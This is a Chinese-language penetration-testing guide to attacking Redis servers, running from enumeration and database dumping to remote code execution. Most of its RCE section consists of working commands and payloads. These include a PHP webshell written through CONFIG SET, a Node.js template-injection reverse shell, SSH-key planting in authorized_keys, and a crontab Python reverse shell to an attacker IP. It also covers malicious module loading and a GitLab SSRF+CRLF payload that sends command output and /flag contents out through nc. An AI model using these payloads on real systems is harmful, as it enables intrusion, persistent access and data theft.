基本信息

默认端口: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

自动枚举

一些自动化工具可以帮助获取来自 Redis 实例的信息:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

手动枚举

横幅

Redis是一种基于文本的协议,您可以直接在套接字中发送命令,返回的值将是可读的。还要记住,Redis可以使用ssl/tls运行(但这非常奇怪)。

在常规的Redis实例中,您可以使用nc进行连接,或者也可以使用redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

您可以尝试的第一个命令是**info**。它可能返回Redis实例的信息,或者类似以下内容的输出被返回:

-NOAUTH Authentication required.

在这种情况下,这意味着您需要有效的凭据才能访问Redis实例。

Redis身份验证

默认情况下,Redis可以在没有凭据的情况下访问。但是,它可以被配置为仅支持密码,或用户名+密码。 可以在_redis.conf文件中使用参数requirepass设置密码,或者在服务重新启动连接到它并运行config set requirepass p@ss$12E45临时设置密码。 此外,可以在redis.conf_文件中的参数masteruser中配置用户名。

如果仅配置了密码,则使用的用户名是“default”。 另外,请注意外部无法找到Redis是仅配置了密码还是用户名+密码。

AUTH <username> <password>

有效凭据将会得到回复:+OK

已认证枚举

如果Redis服务器允许匿名连接或者您已获得有效凭据,您可以使用以下命令启动服务的枚举过程:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

请注意,实例的Redis命令可以在_redis.conf_文件中重命名或删除。例如,以下行将删除FLUSHDB命令:

rename-command FLUSHDB ""

您也可以使用命令monitor实时监控执行的Redis命令,或者使用slowlog get 25获取前25个最慢的查询。

数据库转储

在Redis中,数据库是从0开始编号的数字。您可以通过info命令的输出在“Keyspace”块中找到是否有任何数据库正在使用:

或者您可以使用以下命令获取所有keyspaces(数据库):

INFO keyspace

在这个例子中,正在使用数据库 0 和 1。数据库 0 包含 4 个键,数据库 1 包含 1 个。默认情况下,Redis 将使用数据库 0。要导出例如数据库 1,您需要执行:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

在运行GET <KEY>时,如果出现-WRONGTYPE Operation against a key holding the wrong kind of value错误,这是因为该键可能不是字符串或整数,需要使用特殊操作符来显示它。

要了解键的类型,请使用TYPE命令,以下是列表和哈希键的示例。

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Redis RCE

交互式Shell

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

如果webshell访问异常,您可以在备份后清空数据库并重试,记得恢复数据库。

模板Webshell

就像在前一节中一样,您还可以覆盖一些将由模板引擎解释的html模板文件并获取shell。

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

请注意,几个模板引擎会缓存模板在内存中,因此即使您覆盖它们,新模板不会被执行。在这种情况下,要么开发人员保留了自动重新加载功能,要么您需要对服务进行DoS攻击(并期望它将自动重新启动)。

SSH

请注意**config get dir的结果可能会在其他手动利用命令之后发生更改。建议在登录到Redis后立即运行它。在config get dir的输出中,您可以找到redis用户的home**(通常为_/var/lib/redis_或_/home/redis/.ssh_),知道这一点后,您就知道可以在哪里写入authenticated_users文件以通过ssh访问使用redis用户。如果您知道其他有效用户的主目录,并且具有可写权限,您也可以滥用它:

  1. 在您的计算机上生成ssh公钥-私钥对:ssh-keygen -t rsa

  2. 将公钥写入文件:(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. 将文件导入到redis:cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. 将公钥保存到redis服务器上的authorized_keys文件中:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. 最后,您可以使用私钥ssh到redis服务器:ssh -i id_rsa redis@10.85.0.52

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

最后一个示例适用于Ubuntu,对于Centos,上述命令应为:redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

加载Redis模块

  1. 然后需要某种方式上传编译好的模块

  2. 在运行时加载上传的模块:MODULE LOAD /path/to/mymodule.so

  3. 列出已加载的模块以检查是否正确加载:MODULE LIST

  4. 执行命令:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. 想要时卸载模块:MODULE UNLOAD mymodule

LUA沙盒绕过

一些用于绕过LUA的CVE:

主从模块

主Redis的所有操作会自动同步到从Redis,这意味着我们可以将漏洞Redis视为从Redis,连接到我们自己控制的主Redis,然后我们可以向我们自己的Redis输入命令。

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF 与 Redis 通信

如果你可以发送明文请求到Redis,你可以与其通信,因为 Redis 会逐行读取请求,并对其不理解的行只会回复错误:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

因此,如果您在网站中发现了SSRF漏洞,并且可以控制一些标头(可能是通过CRLF漏洞)或POST参数,您将能够向Redis发送任意命令。

示例:Gitlab SSRF + CRLF 到 Shell

在Gitlab11.4.7中发现了一个SSRF漏洞和一个CRLF漏洞。SSRF漏洞出现在从URL导入项目功能中,当创建新项目时允许访问形式为[0:0:0:0:0:ffff:127.0.0.1]的任意IP(这将访问127.0.0.1),而CRLF漏洞则是通过向URL添加**%0D%0A**字符来利用的。

因此,可以滥用这些漏洞与管理gitlab队列的Redis实例进行通信,并滥用这些队列来获取代码执行。Redis队列滥用有效负载为:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

而利用SSRF和CRLF滥用URL编码请求执行whoami并通过nc发送输出的请求是:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
